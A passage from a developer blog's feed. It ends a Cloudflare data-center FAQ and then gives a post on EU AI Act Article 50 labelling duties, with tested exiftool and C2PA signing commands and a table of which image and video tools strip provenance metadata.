capacity. I did not test whether a paid plan changes it. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; How do I find out which city Cloudflare serves my site from? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Run curl -s https://your-domain.com/cdn-cgi/trace | grep colo and read the code: DFW is Dallas, QRO Querétaro, MEX Mexico City. The same code is the suffix of the cf-ray header. That tells you where you are served from; to measure from other cities, use the public Globalping API with probes in the country you care about, no sign-up required. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Does using Cloudflare Workers change which data center serves my site? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; No. Kenton Varda of Cloudflare said so on Hacker News, replying to a user in central Mexico whose Workers ran in Dallas: routing depends on each data center&amp;#39;s capacity and on the plan, and has nothing to do with whether you use Workers. &lt;/p&gt; &lt;/details&gt; &lt;/div&gt; &lt;/section&gt;</content:encoded><category>Web Development</category><category>Hosting</category><category>Performance</category><category>DNS</category><category>DevOps</category><category>Mexico</category><author>Marco Orta</author></item><item><title>EU AI Act Article 50 for Developers: What You Actually Have to Label, and How (Tested C2PA and IPTC Commands)</title><link>https://ortamarco.me/en/blog/eu-ai-act-article-50-labeling-c2pa-developers/</link><guid isPermaLink="true">https://ortamarco.me/en/blog/eu-ai-act-article-50-labeling-c2pa-developers/</guid><description>Who marks and who labels under the AI Act, the grace period the Omnibus granted, tested exiftool and c2patool commands, what sharp or GD strip, and the YouTube and TikTok flags.</description><pubDate>Thu, 24 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Article 50 of the AI Act has applied since August 2, 2026, but it doesn’t require an “AI-generated” label on everything. It puts two different duties on two different parties. The provider of the system (OpenAI, Google) must mark what it generates in a machine-readable format. Whoever uses it only needs a visible label on deepfakes and on public-interest text without human review. The Digital Omnibus granted a grace period, but only for the technical marking, and only until December 2, 2026 for systems already on the market. Below: who does what, the IPTC and C2PA commands I tested, which tools silently strip those marks (my own backend did), and the two API flags almost nobody sends.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A caveat: this is a developer’s reading of public texts, not legal advice. Every date and figure links to its source.&lt;/p&gt;
&lt;h2 id=&quot;what-article-50-says-in-three-duties&quot;&gt;What Article 50 says, in three duties&lt;/h2&gt;
&lt;p&gt;Article 50 of &lt;a href=&quot;https://eur-lex.europa.eu/eli/reg/2024/1689/oj&quot;&gt;Regulation (EU) 2024/1689&lt;/a&gt; splits transparency like this:&lt;/p&gt;

























&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Paragraph&lt;/th&gt;&lt;th&gt;Who&lt;/th&gt;&lt;th&gt;What&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;50(1)&lt;/td&gt;&lt;td&gt;Provider of a chatbot&lt;/td&gt;&lt;td&gt;People must know they’re talking to an AI, unless it’s obvious&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;50(2)&lt;/td&gt;&lt;td&gt;Provider of a generative system&lt;/td&gt;&lt;td&gt;Outputs must be “marked in a machine-readable format” and detectable as artificial&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;50(4)&lt;/td&gt;&lt;td&gt;The deployer&lt;/td&gt;&lt;td&gt;A visible label on &lt;strong&gt;deepfakes&lt;/strong&gt;, and on &lt;strong&gt;text published to inform the public on matters of public interest&lt;/strong&gt;, unless it went through human review with editorial responsibility&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;Three nuances change how to read it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Technical marking is the provider’s job.&lt;/strong&gt; If you generate images through OpenAI’s or Google’s API, they carry 50(2). You become a provider if you build and offer a generative system under your own name, such as an image generator for your clients.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;An illustration is not a deepfake.&lt;/strong&gt; The &lt;a href=&quot;https://ai-act-service-desk.ec.europa.eu/sites/default/files/2026-07/guidelines_on_the_implementation_of_the_transparency_obligations_for_certain_ai_systems_under_article_50_of_the_ai_act_bzptwqhk0ikg1dtlddap41psfy_131215.pdf&quot;&gt;Commission’s guidelines&lt;/a&gt; (C(2026) 5054, July 20, 2026) require three criteria at once: resemblance to existing or plausible people, places or events, and a false appearance of authenticity. An infographic or an illustrated cover doesn’t meet them.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;It applies outside the EU.&lt;/strong&gt; Article 2(1)(c) reaches providers and deployers in third countries “where the output produced by the AI system is used in the Union”. A Mexican company with users in Spain is in scope.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Fines for Article 50 reach &lt;strong&gt;€15 million or 3% of total worldwide annual turnover, whichever is higher&lt;/strong&gt; (Art. 99(4)(g)). For SMEs, whichever is lower. If you see “€7.5 million or 1%”, that’s the fine for supplying incorrect information to authorities, not the Article 50 one.&lt;/p&gt;
&lt;h2 id=&quot;what-the-omnibus-actually-changed&quot;&gt;What the Omnibus actually changed&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://eur-lex.europa.eu/eli/reg/2026/1744/oj/eng&quot;&gt;Regulation (EU) 2026/1744&lt;/a&gt;, published on July 24, 2026, mostly postponed the high-risk obligations. For Article 50 it only granted a narrow grace period: systems &lt;strong&gt;placed on the market before August 2, 2026&lt;/strong&gt; have until &lt;strong&gt;December 2, 2026&lt;/strong&gt; to comply with 50(2). In the words of the Commission’s &lt;a href=&quot;https://digital-strategy.ec.europa.eu/en/faqs/transparency-obligations-under-article-50-ai-act&quot;&gt;FAQ&lt;/a&gt; from July 24: &lt;em&gt;“Content generated prior to 2 August 2026 does not need to be labelled retroactively.”&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;50(1) and 50(4) get no grace period.&lt;/p&gt;
&lt;h2 id=&quot;what-the-code-of-practice-asks-for&quot;&gt;What the Code of Practice asks for&lt;/h2&gt;
&lt;p&gt;On July 8, 2026 the Commission deemed adequate the &lt;a href=&quot;https://digital-strategy.ec.europa.eu/en/policies/code-practice-ai-generated-content&quot;&gt;Code of Practice on transparency of AI-generated content&lt;/a&gt;, whose final version dates from June 10. It’s voluntary, but it spells out what the Commission considers sufficient marking:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;At least two layers.&lt;/strong&gt; Digitally signed, time-stamped metadata, plus an imperceptible watermark. As &lt;a href=&quot;https://iptc.org/news/eu-ai-transparency-code-of-practice-june-2026/&quot;&gt;IPTC puts it&lt;/a&gt;, the only technology that meets the first today is C2PA.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Don’t remove existing marks&lt;/strong&gt; when transforming content.&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;free detector&lt;/strong&gt; per provider, and detection interoperability before February 2, 2027.&lt;/li&gt;
&lt;li&gt;For deployers, the &lt;strong&gt;EU icons&lt;/strong&gt; on visible labels.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;the-two-marks-that-exist-iptc-and-c2pa&quot;&gt;The two marks that exist: IPTC and C2PA&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;IPTC Digital Source Type&lt;/strong&gt; is an XMP field holding a controlled-vocabulary value. For fully AI-generated content it’s &lt;code&gt;http://cv.iptc.org/newscodes/digitalsourcetype/trainedAlgorithmicMedia&lt;/code&gt;, and when only part is AI, &lt;code&gt;compositeWithTrainedAlgorithmicMedia&lt;/code&gt;. It’s declarative: anyone can write or delete it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;C2PA&lt;/strong&gt; (Content Credentials, spec 2.4) is a manifest inside the file, signed with an X.509 certificate and carrying a hash of the content. Change one pixel and the signature no longer matches.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There’s a practical reason to write both: according to a &lt;a href=&quot;https://iptc.org/news/ai-disclosure-on-social-media-a-work-in-progress/&quot;&gt;study IPTC reported on&lt;/a&gt; (March 2026), &lt;strong&gt;Instagram reads IPTC but not C2PA, and LinkedIn reads C2PA but not IPTC&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;iptc-with-exiftool&quot;&gt;IPTC with exiftool&lt;/h3&gt;
&lt;p&gt;Tested with exiftool 12.76 on JPEG, PNG and MP4:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;exiftool &lt;span class=&quot;token parameter variable&quot;&gt;-overwrite_original&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  -XMP-iptcExt:DigitalSourceType&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;quot;http://cv.iptc.org/newscodes/digitalsourcetype/trainedAlgorithmicMedia&amp;quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  image.jpg

exiftool &lt;span class=&quot;token parameter variable&quot;&gt;-G1&lt;/span&gt; -XMP-iptcExt:DigitalSourceType image.jpg
&lt;span class=&quot;token comment&quot;&gt;# [XMP-iptcExt] Digital Source Type : http://cv.iptc.org/newscodes/digitalsourcetype/trainedAlgorithmicMedia&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;c2pa-with-c2patool&quot;&gt;C2PA with c2patool&lt;/h3&gt;
&lt;p&gt;Tested with c2patool 0.27.22, the binary from the &lt;a href=&quot;https://github.com/contentauth/c2pa-rs&quot;&gt;&lt;code&gt;contentauth/c2pa-rs&lt;/code&gt;&lt;/a&gt; release. The manifest declares the creation action and its source type:&lt;/p&gt;
&lt;pre class=&quot;language-json&quot; data-language=&quot;json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&amp;quot;alg&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;es256&amp;quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&amp;quot;private_key&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;es256_private.key&amp;quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&amp;quot;sign_cert&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;es256_certs.pem&amp;quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&amp;quot;ta_url&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;http://timestamp.digicert.com&amp;quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&amp;quot;claim_generator_info&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&amp;quot;name&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;my-app&amp;quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&amp;quot;version&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;1.0&amp;quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&amp;quot;assertions&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;&amp;quot;label&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;c2pa.actions&amp;quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;&amp;quot;data&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;&amp;quot;actions&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&amp;quot;action&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;c2pa.created&amp;quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&amp;quot;digitalSourceType&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;http://cv.iptc.org/newscodes/digitalsourcetype/trainedAlgorithmicMedia&amp;quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&amp;quot;softwareAgent&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&amp;quot;name&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;gpt-image-1&amp;quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;c2patool src.jpg &lt;span class=&quot;token parameter variable&quot;&gt;-m&lt;/span&gt; ai.json &lt;span class=&quot;token parameter variable&quot;&gt;-o&lt;/span&gt; signed.jpg &lt;span class=&quot;token parameter variable&quot;&gt;-f&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;# sign&lt;/span&gt;
c2patool signed.jpg                             &lt;span class=&quot;token comment&quot;&gt;# read: &amp;quot;validation_state&amp;quot;: &amp;quot;Valid&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With the repository’s test certificate the signature validates but is flagged &lt;code&gt;signingCredential.untrusted&lt;/code&gt;. In production you need a certificate from an authority on the C2PA trust list. It signed an H.264 MP4 just as well.&lt;/p&gt;
&lt;h3 id=&quot;c2pa-from-node&quot;&gt;C2PA from Node&lt;/h3&gt;
&lt;p&gt;The current package is &lt;code&gt;@contentauth/c2pa-node&lt;/code&gt; (the unscoped &lt;code&gt;c2pa-node&lt;/code&gt; is the old one). Tested with 0.9.8:&lt;/p&gt;
&lt;pre class=&quot;language-js&quot; data-language=&quot;js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; Builder&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; LocalSigner &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;@contentauth/c2pa-node&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; readFile &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;node:fs/promises&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; signer &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; LocalSigner&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;newSigner&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;readFile&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;#39;certs.pem&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;readFile&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;#39;private.key&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;es256&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; builder &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; Builder&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;withJsonAsync&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;claim_generator_info&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;my-app&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;version&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;1.0&amp;#39;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;assertions&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
builder&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;setIntent&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;create&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;http://cv.iptc.org/newscodes/digitalsourcetype/trainedAlgorithmicMedia&amp;#39;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
builder&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sign&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;signer&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;src.jpg&amp;#39;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;signed.jpg&amp;#39;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two traps I hit: passing a timestamp URL to &lt;code&gt;LocalSigner.newSigner&lt;/code&gt; and signing with the synchronous &lt;code&gt;sign&lt;/code&gt; blows up with &lt;em&gt;“the sync http resolver is not implemented”&lt;/em&gt;, and &lt;code&gt;signAsync&lt;/code&gt; requires a &lt;code&gt;CallbackSigner&lt;/code&gt;, not a &lt;code&gt;LocalSigner&lt;/code&gt;. Without a timestamp it works and validates. I found no official PHP SDK: from Laravel, the sensible route is calling &lt;code&gt;c2patool&lt;/code&gt; through &lt;code&gt;Process&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&quot;what-strips-the-marks-without-telling-you&quot;&gt;What strips the marks without telling you&lt;/h2&gt;
&lt;p&gt;This is the part no guide covers. I ran an image marked with both IPTC and C2PA through the transformations any pipeline has:&lt;/p&gt;













































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Transformation&lt;/th&gt;&lt;th&gt;IPTC&lt;/th&gt;&lt;th&gt;C2PA&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;sharp by default (&lt;code&gt;resize().toFile()&lt;/code&gt;)&lt;/td&gt;&lt;td&gt;&lt;strong&gt;lost&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;lost&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;sharp with &lt;code&gt;withMetadata()&lt;/code&gt;&lt;/td&gt;&lt;td&gt;kept&lt;/td&gt;&lt;td&gt;&lt;strong&gt;lost&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;sharp to WebP&lt;/td&gt;&lt;td&gt;—&lt;/td&gt;&lt;td&gt;lost&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;PHP GD (&lt;code&gt;imagecreatefromstring&lt;/code&gt; → &lt;code&gt;imagejpeg&lt;/code&gt;)&lt;/td&gt;&lt;td&gt;lost&lt;/td&gt;&lt;td&gt;lost&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;ImageMagick &lt;code&gt;-resize&lt;/code&gt;&lt;/td&gt;&lt;td&gt;kept&lt;/td&gt;&lt;td&gt;stays, but &lt;strong&gt;invalid&lt;/strong&gt; (“Hashes do not match”)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;ffmpeg &lt;code&gt;-c copy&lt;/code&gt; (MP4 remux)&lt;/td&gt;&lt;td&gt;—&lt;/td&gt;&lt;td&gt;&lt;strong&gt;lost&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;ffmpeg re-encoding&lt;/td&gt;&lt;td&gt;lost&lt;/td&gt;&lt;td&gt;—&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;The browser’s &lt;code&gt;canvas.toBlob()&lt;/code&gt; re-encodes from scratch too, so it keeps nothing either. The &lt;a href=&quot;https://ortamarco.me/en/tools/image-converter/&quot;&gt;image tools on this site&lt;/a&gt; work that way.&lt;/p&gt;
&lt;p&gt;The rule that falls out of the table: &lt;strong&gt;sign C2PA last&lt;/strong&gt;, on the exact file you publish. A manifest broken by a resize is worse than none, because a verifier shows it as invalid. If you need to transform a file that’s already signed, the right way is a new manifest with the original as an &lt;em&gt;ingredient&lt;/em&gt; and the &lt;code&gt;c2pa.resized&lt;/code&gt; action. &lt;a href=&quot;https://developers.cloudflare.com/images/optimization/transformations/preserve-content-credentials/&quot;&gt;Cloudflare Images&lt;/a&gt; does this with its &lt;em&gt;Preserve Content Credentials&lt;/em&gt; option.&lt;/p&gt;
&lt;h3 id=&quot;my-backend-was-stripping-them&quot;&gt;My backend was stripping them&lt;/h3&gt;
&lt;p&gt;The backend that publishes this site’s social media generates images with Gemini and OpenAI, which already ship them with C2PA. The first thing it does is crop them to 1080×1350 and stamp the logo with GD: &lt;code&gt;imagecreatefromstring&lt;/code&gt;, draw, &lt;code&gt;imagejpeg&lt;/code&gt;. &lt;strong&gt;That line throws away the provider’s manifest before anything is uploaded.&lt;/strong&gt; The only thing that may survive is the watermark in the pixels (SynthID, in Google’s case), and I haven’t measured whether it withstands the crop, the logo and 85% JPEG.&lt;/p&gt;
&lt;p&gt;Legally nothing obliges me here: I’m a deployer, these are illustrations and not deepfakes, and 50(2) is the provider’s job. But the Code asks you not to remove existing marks, and the platforms use that metadata to apply their own labels. The fix is ordering: write IPTC &lt;code&gt;compositeWithTrainedAlgorithmicMedia&lt;/code&gt; (there’s a logo and text on top) and sign C2PA &lt;strong&gt;after&lt;/strong&gt; GD, as the last step before upload.&lt;/p&gt;
&lt;h2 id=&quot;platform-flags&quot;&gt;Platform flags&lt;/h2&gt;
&lt;p&gt;Besides metadata, two platforms accept an explicit declaration through their API:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;YouTube Data API:&lt;/strong&gt; &lt;code&gt;status.containsSyntheticMedia&lt;/code&gt; (boolean) on &lt;code&gt;videos.insert&lt;/code&gt; and &lt;code&gt;videos.update&lt;/code&gt;, &lt;a href=&quot;https://developers.google.com/youtube/v3/revision_history&quot;&gt;available since October 2024&lt;/a&gt;. YouTube only asks for it on &lt;strong&gt;realistic&lt;/strong&gt; content; a motion-graphics video doesn’t need it.&lt;/li&gt;
